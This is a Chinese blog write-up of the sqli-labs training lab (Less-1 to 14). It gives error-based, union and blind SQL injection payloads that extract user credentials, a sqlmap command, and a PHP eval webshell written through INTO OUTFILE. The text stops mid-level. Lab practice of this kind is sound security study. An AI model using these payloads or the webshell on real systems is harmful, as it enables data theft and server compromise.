SQL注入实操(更新中)

news2024/10/7 8:32:06

文章目录

  • 一、sqli-lab靶场搭建
  • 二、通关笔记
    • 1.Less-1
      • a.单引号‘
      • b.updatexml
      • c.concat
      • d.union
      • e.information_schema
      • f.GROUP_CONCAT
      • g.select 1,2
    • 2.Less-2
    • 3.Less-3
      • a.怎么找到注入点
      • b.判断SQL注入漏洞的类型
      • c.闭合语句
      • d.如何判断显示位
      • e.答案
    • 4.Less-4
    • 5.Less-5
      • a.判断注入漏洞的依据
      • b.bool注入原理
      • c.sqlmap安装和使用
      • d.盲注获取数据库长度
      • e.substr
      • f.盲注获取当前数据库名称
      • h.盲注获取当前表名称
      • i.盲注获取某个表所有列名称
      • j.盲注获取密码
    • 6.Less-6
      • a.获取数据库名称
      • b.获取表信息
      • c.获取列信息
      • d.获取表内数据
    • 7.Less-7
    • 8.Less-8
      • a.获取数据库名称
      • b.获取表信息
      • c.获取列信息
      • d.获取表内数据
    • 9.Less-9
      • a.注入点判断
      • b.字符型判断
      • c.列数判断
      • d.获取数据库名称
      • e.获取表信息
      • f.获取列信息
      • g.获取表内数据
    • 10.Less-10
      • a.注入点判断
      • b.字符型判断
      • c.列数判断
      • d.获取数据库名称
      • e.获取表信息
      • f.获取列信息
      • g.获取表内数据
    • 11.阶段总结
    • 12.Less-11
      • a.注入点判断
      • b.字符型判断
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 13.Less-12
      • a.注入点判断
      • b.获取数据库名称
      • c.获取表信息
      • d.获取列信息
      • e.获取表内数据
    • 14.Less-13
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 15.Less-14
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
  • 三、python读取网页返回工具
  • 四、使用burp实现爆破sql注入(失败)

一、sqli-lab靶场搭建

下载路径:https://www.hibugs.net/hi-resource/sqli-labs-master.zip
下载后解压复制到www目录,然后进入sql-connections
在这里插入图片描述

文本编辑db-creds.inc,填写数据库密码
在这里插入图片描述

pikachu的php版本改为7以下
在这里插入图片描述

然后打开网页安装数据库
在这里插入图片描述

安装成功的界面如下
在这里插入图片描述

接下来就可以进入靶场了
在这里插入图片描述

二、通关笔记

1.Less-1

输入?id=1时
在这里插入图片描述

发现?id=1到?id=14都有数据
在这里插入图片描述

a.单引号‘

sql注入加单引号的缘由是为了让sql语句产生毛病,从而得知其有无过滤措施,例如:
一开始SQL语句是这样的:
select * from users where id=‘1’
当你加了单引号后变成了这样:
select * from users where id=‘1’’
这样是不符合sql语法规则的,因此会报错,若没报错,说明有多是被过滤掉或有其他防护手段。
接下来尝试让它报错,加个引号试下
在这里插入图片描述

发现14在错误信息里一起出来了
接下来先学习一个报错注入函数

b.updatexml

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

c.concat

第二个函数是字符串拼接concat
在这里插入图片描述

显然把用户名和~连接起来了
select updatexml(1,concat(0x7e,(SELECT user())),0x7e);
在这里插入图片描述

报错说明是参数2出现xpath注入,而且把数据库名也带在报错信息里了,因此我们可以利用这个漏洞进行注入
接下来继续学习一个方法,union

d.union

union会自动压缩多个结果集合中重复的结果,使结果不会有重复行,union all 会将所有的结果共全部显示出来,不管是不是重复。
union:会对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序。
如果要合并两个结果集,那么他们的列数必须相同
在这里插入图片描述在这里插入图片描述在这里插入图片描述

而select updatexml(1,concat(0x7e,(SELECT user())),0x7e)的结果是一行一列
而http://127.0.0.1:9009/Less-1/?id=14’的结果也是一行一列,因此可以合并
合并后应该是2行一列,把结果二放在最后一行
在这里插入图片描述

使用联合注入的方法居然出来了
1’ union select updatexml(1,concat(0x7e,(SELECT user())),0x7e)’
在这里插入图片描述

但是实际上不是,是直接抛出后面的错误了
在这里插入图片描述在这里插入图片描述

可以发现不管是在前面还是后面,都是抛出同样的错误,说明只要有报错,就直接抛出报错信息,不合并
先这样猜想,后面再验证下是不是
在这里插入图片描述

现在我们拿到了当前数据库名,接下来我们需要这个数据库里有哪些表

e.information_schema

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘security’;
使用information_schema可以查询到指定数据库有哪些表
在这里插入图片描述

f.GROUP_CONCAT

GROUP_CONCAT函数可以将多行结果集拼接成一个字符串
在这里插入图片描述

现在我们把这个方法用到靶场里
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’;

g.select 1,2

14’ union select 1,2,updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’)),0x7e)’
加入1,2是为了凑显示位,以后可以用这种方法找出需要的列数
执行成功了
在这里插入图片描述

但是发现这里表名显示不全,估计是因为updatexml的原因,看下能否不用它显示出来
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ’
h.id=-1
把 id修改成-1说明左边的结果查不到,然后腾出显示位给右边的结果集
在这里插入图片描述

接下来呢,我们当然要看user里的数据,在此之前我们先找出user里有哪些列名
select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”;
在这里插入图片描述

-1’ union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”’
在这里插入图片描述

现在我们知道了users的列名,接下来当然是查出数据了
在这里插入图片描述

i.–+
–+把后面的 ’ LIMIT 0,1 给注释掉了
-1’ union select 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

2.Less-2

这一关和第一关几乎一样,只是需要把单引号去掉
获取数据库名
1 union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
在这里插入图片描述

获取表名
-1 union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
在这里插入图片描述

获取列名
-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
在这里插入图片描述

获取用户名密码
-1%20 union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

3.Less-3

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

a.怎么找到注入点

在我们可控的输入部分加一些符号,查看页面是否正常
www.example.com/index.php?id=1,这里的id变量是用户可控的
如何判断是否存在sql注入?
“加引号”法 无论字符型还是整型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)
在这里插入图片描述

直接加’说明存在注入点

b.判断SQL注入漏洞的类型

方法1:
id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
方法2:
url中输入?id=1 and 1=1 页面依旧正常运行,继续下一步
url中输入?id=1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
方法3:
url中输入1’ and ‘1’ = ‘1,页面运行正常,继续进行下一步。
url中继续输入1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
在这里插入图片描述

第1关是字符型
在这里插入图片描述

第2关是数字型
在这里插入图片描述

第3关还是字符型
在这里插入图片描述

c.闭合语句

单引号/双引号,注释
数字型的注入,不需要闭合就可以直接进行注入。(如果系统做了数字型传入的判断,就防止注入)如上面的第2关
字符型的注入,$id多为字符型输入,需要进行闭合
注释–+的目的:为了过滤掉多余的字符不让它影响我们构造的sql语句执行
通过闭合跟注释,构造出了一段空区域,这段空白区域可以由我们自己构造注入语句去代入到数据库执行。(查询数据库,表,字段)

d.如何判断显示位

方法1
order by n 排序
www.example.com/index.php?id=1’ order by n –
如果说n=3的时候页面正常,n=4的时候页面显示不正常,则可以判断出3个字段。
方法2
通过联合查询的方式判断哪些是显示字段
www.example.com/index.php?id=0’ union select 1,2,3 #
通过报错分析过滤点
在这里插入图片描述

#猜测试sql语句
select Login_name,Password from table_name where id = (‘ID’) limit 0,1;
第三关猜测id那里被加了(“id”),尝试添加)闭合

e.答案

1 ') union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取数据库名(记住字符型后面需加注释–+)
在这里插入图片描述

获取表名
-1’) union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
在这里插入图片描述

获取列名
-1’) union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
在这里插入图片描述

获取用户名密码
-1’) union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

4.Less-4

发现加引号并没报错,那应该怎么注入呢
在这里插入图片描述

发现需要用双引号才能触发错误
在这里插入图片描述

结合上题的经验
获取数据库名
1 ") union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

获取表名
-1") union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
在这里插入图片描述

获取列名
-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
在这里插入图片描述

获取用户名密码
-1") union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

5.Less-5

获取数据库名
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

但是获取表名时没有显示位
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’

a.判断注入漏洞的依据

在这里插入图片描述

b.bool注入原理

在这里插入图片描述
当我们输入id=1 和id=15时页面返回You are in和不返回的提示,我们得到的信息很少。这和之前的联合注入有很大的不同。

<?php
$username = $_POST['username'];
$password = md5($_POST['password']);

//准备sql查询
$sql = "select * from users where username='{$username}' and password='{$password}' limit 0,1";
//执行sql
$result = mysql_query($sql);
//取得一行结果
$row = mysql_fetch_array();
if(empty($row)){
	echo "用户名或密码不存在";
}else{
	echo "登录成功";
} 

上面不会显示结果,但是只有两种状态,就是成功和失败。这们通过这种两种状态来进行获取数据库内容的方试就叫bool注入
如以下的验证方式,正常通过是这样的
在这里插入图片描述而bool条件中有一个为假则不返回
在这里插入图片描述接下来我们需要用到一个工具来对付bool盲注,就是sqlmap
先看下怎么安装

c.sqlmap安装和使用

下载路径 https://sqlmap.org/
然后cmd下执行命令
python sqlmap.py http://127.0.0.1:9009/Less-5/?id=14 --current-db --dump --batch开始渗透
发现已经可以全部查出来了
在这里插入图片描述在这里插入图片描述现在我们不使用工具,只是单纯使用url和sql语句,看能否爆出数据
在这里插入图片描述

我们知道原先数据库里有12个数据库
那么我们怎么知道当前用的是哪个数据库,以及数据库长度,数据库名称呢
我们知道sql里可以这样查出来
在这里插入图片描述

那么怎么在url里盲注验证这个结果呢

d.盲注获取数据库长度

通过以下方法逐个试出数据长度
id=14’ and length(database())=8 --+
在这里插入图片描述

知道了长度有啥用呢,再猜下数据库首字母吧

e.substr

这里我们需要学习一个新的函数,substr
作用是:从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
用法:substr(obj,start,length)注意start是从1开始,不是从0
所以我们用这个方法获得数据库首字母

f.盲注获取当前数据库名称

14’ and substr(database(), 1, 1)=‘s’ --+
通过这个方法我们得知数据库第一个字母是s
在这里插入图片描述

当然我们还可以继续试第二个字母,第三个字母…,直到把8个字母全部试出来
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述通过上面逐个字母的测试,我们终于知道了数据库名称是security
但是这种方法是不是觉得有点笨,有没有循环试错的方法呢
有的,这是我写的存储过程

delimiter //                            #定义标识符为双斜杠
drop procedure if exists test;          #如果存在test存储过程则删除
create procedure test()                 #创建无参存储过程,名称为test
begin
   declare i int;
   declare j int;
   declare name VARCHAR(255);
   set j = 1;
   set name = "";
   while j <= 8 do
      set i = 0;
      while i < 26 do                     #结束循环的条件: 当i大于26时跳出while循环 
         if(substr(database(), j, 1)=CHAR(ascii('a')+i)) THEN
            set name  = concat(name, CHAR(ascii('a')+i));
            select name, CHAR(ascii('a')+i);
         END IF;  
	     set i = i + 1;
      end while; 
      set j = j + 1;
   end while;                          #结束while循环
   select * from test;
   SELECT name;
end 
//                                      #结束定义语句
delimiter ;
call test();

你看,是不是一次性全都查出来了但是怎么让它在页面里执行呢,感觉有点难度
在这里插入图片描述

接下来我们需要用同样的方法爆出表长度,表名称

h.盲注获取当前表名称

在这里插入图片描述

首先还是猜出长度,经验是可以先使用>,<之类的先圈定范围,然后再使用=,其实后面的字母枚举也可以用这种方法
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
在这里插入图片描述在这里插入图片描述

知道了长度接下来就是爆出这段字符串了
14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 1, 1)=‘e’ --+
在这里插入图片描述

http://127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 2, 1)=‘m’ --+
在这里插入图片描述

后面的操作都一样的,在此不加赘述

i.盲注获取某个表所有列名称

比如我们需要知道users这个表里有哪些列
那么用盲注的方法该怎么拿到呢
在这里插入图片描述

一样的逻辑,先爆出长度
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
在这里插入图片描述

然后逐个猜出字符
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 1, 1)=‘i’ --+
在这里插入图片描述

14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’ --+
在这里插入图片描述

j.盲注获取密码

在这里插入图片描述

密码里居然有特殊符号,而且这么长,看来不用工具做是不行了
老办法,还是先搞长度
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
天哪长度188
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
用word算下也确实如此
在这里插入图片描述

接下来我打算用第三节自己开发的工具爆破出这一大段文字密码

当个枚举语法是
14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), d 1 , 1 ) = d1, 1)= d1,1)=d2 --+
替换进去,并把长度改成188,运行一下看看

在这里插入图片描述
在这里插入图片描述

好家伙,uil1.txt就写了1m多,没关系,先看下结果,虽然还没全部跑完,但是前面这几个全都对上了
在这里插入图片描述

至此该关卡结束

6.Less-6

第6关也是盲注
但是发现一个问题,就是加单引号不管加几个页面都没变化,怀疑是不是有延时盲注
在这里插入图片描述

a.获取数据库名称

1 " union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

不是时间盲注,只是必须id那里用双引号而已

b.获取表信息

14" and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
同样的,用我的工具跑一次
url = "127.0.0.1:9009/Less-6/?id=14\” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

结果完全正确

c.获取列信息

14" and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
在这里插入图片描述

url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

d.获取表内数据

14" and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
在这里插入图片描述

url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
j = ‘a’
fp = open(“url1.txt”, “w”)
#21是目标长度
writeurl(fp, url, “, 1)=”, “–+\n”, 188+1)
显然,全都正确
在这里插入图片描述

7.Less-7

第7关彻底连数据库名称也拿不到了
在这里插入图片描述

127.0.0.1:9009/Less-7/?id= 14’ or 1=1 --+
发现id后面加’号界面呈周期性变化,证明存在sql注入
但是or或者and不管是真是假都没用,只看id那里的真假
那么怎么构造轮子呢,这关太恶心了,不单id有两个括号,后面也被加了两个括号
在这里插入图片描述

14’)) and length(database())=8–+((
使用order by判断列数14’)) order by 4 --+
在这里插入图片描述在这里插入图片描述

这里一直说use outfile是啥意思呢,应该是个新的知识点,只能网上先查下了
网上查了说是可以通过联合注入上传,但是我这边根本上传不了,查了下
show variables like ‘%secure%’;
在这里插入图片描述

secure_file_priv NULL说明是禁止上传,怎么改这个设置呢
在这里插入图片描述

方法是找到phpstudy安装路径下的这个地方,打开my.ini
如果存在secure_file_priv就将其修改为secure_file_priv=“”
若不存在添加secure_file_priv=""即可
然后重启mysql,再查发现没了
在这里插入图片描述

1’)) union select 1,2,“<?php @eval($_POST['hyc']); ?>” into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\hyc.php” --+
然后我们再去页面看下能否上传
居然成功了
在这里插入图片描述

好,用菜刀连下,居然也成功了,不过这个条件太苛刻了,估计也只有这个例子可用了
1,show variables like ‘%secure%’;用来查看mysql是否有读写文件的权限
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
在这里插入图片描述

8.Less-8

第8关加单引号存在周期性报错,说明id处存在sql注入点
在这里插入图片描述

使用1 order by 9999 --+检测发现是字符型
在这里插入图片描述

继续判断列数1’ group by 3 --+,发现列数为3
在这里插入图片描述

期间任何输入输出只有You are in…或空两种情况,说明存在sql盲注可能性

a.获取数据库名称

使用14’ and length(database())=8–+获取数据库名称长度时发现id处没有过滤
在这里插入图片描述

使用工具爆破下数据库用户名
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((database()), 1), "
writeurl(fp, url, “, 1)=”, “–+\n”, 8+1)
在这里插入图片描述

b.获取表信息

14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
在这里插入图片描述

爆破表名
"127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

c.获取列信息

14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
在这里插入图片描述

url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

d.获取表内数据

14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
在这里插入图片描述

url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述

比对下,除了全部是小写之外其他全部正确
在这里插入图片描述

9.Less-9

第9关有点奇怪,怎么输页面都没变化
在这里插入图片描述

只能借助bp看字段长度了
在这里插入图片描述

发现报错时长度是974,正常时937

a.注入点判断

那好,现在先看下注入点是否有变化,发现加单引号没任何变化
但是加’)–+后发现有变化了,猜测原id被加了括号,而且是字符型,(‘id’)
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+检测一下确实是字符型
在这里插入图片描述

c.列数判断

1’ group by 3 --+检验一下列数发现是3列
在这里插入图片描述

接下来看看能否获取数据库名称长度

d.获取数据库名称

14’ and length(database())=8–+,还真可以,说明是8
在这里插入图片描述

看下字母枚举14’ and substr(substr((database()), 1), 1, 1)=‘s’–+,长度响应确实对了,但是页面一直没刷新怎么办呢,不然工具都没法抓数据,或者工具里增加一个功能,获取返回的长度,如果内容没变化就看长度,当然事先需要给工具告知一个正确的长度,这样它知道怎么找
在这里插入图片描述

找长度,其实就是提取这个值
在这里插入图片描述

所以接口方法应该是类似
def getlength(text, value):
text是html网页内容
value是正确的长度,这里是707
结果是返回正确还是错误长度
工具里增加一个分支,使用该分支爆破结果也出来了
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((database()), 1), "
在这里插入图片描述

e.获取表信息

14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现937说明29正确
在这里插入图片描述

爆破表名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "

表名也爆破出来了

f.获取列信息

14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现937说明列长度是20
在这里插入图片描述

爆破列名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

g.获取表内数据

14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现937说明长度是188
在这里插入图片描述url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述完全正确

10.Less-10

终于到第10关了,看下这关有什么陷阱
http://127.0.0.1:9009/Less-10/?id=15
和上一关一样的模式?发现正确长度是939

a.注入点判断

至对”敏感,说明存在注入点
http://127.0.0.1:9009/Less-10/?id=14 “
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+检测一下确实是字符型
在这里插入图片描述

c.列数判断

1" group by 3 --+检验一下列数发现是3列
在这里插入图片描述

d.获取数据库名称

1" and length(database())=8–+
在这里插入图片描述

说明长度是8
爆破数据库名称,记得要将长度改成709
在这里插入图片描述

url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((database()), 1), "
在这里插入图片描述

e.获取表信息

14” and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现939说明长度是29
在这里插入图片描述

表名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

f.获取列信息

14” and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现939说明正确长度是20
在这里插入图片描述

列名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

g.获取表内数据

14” and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现939说明长度是188
在这里插入图片描述

表数据爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述

11.阶段总结

前10关终于做完了,告一段落,先总结一下
首先拿到站点,先判断一下是否存在注入,用’之类的方法判断其敏感性,注意有些需要加)之类的闭合,然后看情况换成”
其次用1 order by 9999 --+判断是字符型还是数字型
接着用1’ group by 3 --+判断列数,即显示位
用1’ and length(database())=8–+判断数据库名称长度
用id=14’ and substr(substr((database()), 1), "爆破数据库名

用id=14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
判断表名长度
用id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), " 爆破表名

用14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
判断列名长度
用id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "爆破列名

用14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
判断表数据长度
用id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "爆破数据

12.Less-11

在这里插入图片描述

显然这关不能再在url里注入了,怎么输都没变化
那么看来只能从输入框注入了

a.注入点判断

在这里插入图片描述在这里插入图片描述

发现用户框或密码框存在注入,加单引号呈现周期性报错
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+分别检测一下确实都是字符型

c.获取数据库名称

用户框输入
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
密码框输入’ 1
在这里插入图片描述

看来这个不是盲注了

d.获取表信息

用户框输入,同时通过select 1,2之类的尝试测试出显示位
1’ union select 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
密码框输入’1,前面的单引号起到和前面闭合的作用
在这里插入图片描述

表名没输出来,但是提示登录成功了,啥情况,猜测这里还是只能用报错注入updatexml
用户名输入
1’ union select 1, updatexml(1, (select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ), 0x7e)
密码还是’1
在这里插入图片描述

结果出来了,但是显示不全,看来用updatexml就是有这个毛病
查下updatexml有没有完整输出的方法
用户名
1’ union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
在这里插入图片描述

这样居然全都拿到了
其实还有一个逐个提取分页显示的方法
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select table_name FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1), 0x7e),1)
在这里插入图片描述

然后逐个增加上图0这个数字用于切换行数
在这里插入图片描述

e.获取列信息

这次我们就直接提取了,用户名直接输入
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
在这里插入图片描述

f.获取表内数据

1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(username, ‘:’, password) from users limit 0,1),0x7e), 0x7e)
在这里插入图片描述

看来还是得分页提取
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
在这里插入图片描述

然后逐个修改0的数值
在这里插入图片描述

然后我们用获取到的这第11个用户名密码登录下,发现登录成功了,ok,本关结束
在这里插入图片描述

13.Less-12

a.注入点判断

发现对双引号敏感,用户名密码存在sql注入
在这里插入图片描述

b.获取数据库名称

1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
但是报错了
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)") and password=(’ at line 1
通过这个报错信息我们能发现什么呢,猜测传进去的数值应该都被括号()包裹起来了
先试下用户名输入1" ) --+(,密码输入”发现没报错,然后再试
1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
在这里插入图片描述

说明下,这里第一个)起到闭合用户名的作用,第二个(闭合密码,然后中间空出来的这段就留给我们注入了

c.获取表信息

知道了轮子(结构),试下看下能否直接替换
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
在这里插入图片描述

d.获取列信息

用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+(
在这里插入图片描述

e.获取表内数据

用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)–+(
在这里插入图片描述

1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 12,1), 0x7e),1)–+(
在这里插入图片描述
在这里插入图片描述

Ok,这关结束

14.Less-13

a.注入点判断

两个输入框都对’敏感,说明存在sql注入点
在这里插入图片描述

b.轮子测试

接下来测试轮子
用户名输入1’) --+(,密码输入’发现没有报错,猜测这就是轮子
在这里插入图片描述

c.获取数据库名称

在轮子的基础上用户名输入
1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
在这里插入图片描述

d.获取表信息

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+(
在这里插入图片描述

f.获取表内数据

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+(
在这里插入图片描述

发现这里拿到的用户名每个都可以登录,应该改成特定关卡用特定用户名密码才对

15.Less-14

a.注入点判断

又是双引号
在这里插入图片描述

b.轮子测试

在这里插入图片描述

这个不会这么简单吧,直接就让我找到了,轮子:1" --+

c.获取数据库名称

在轮子的基础上用户名输入
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

d.获取表信息

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
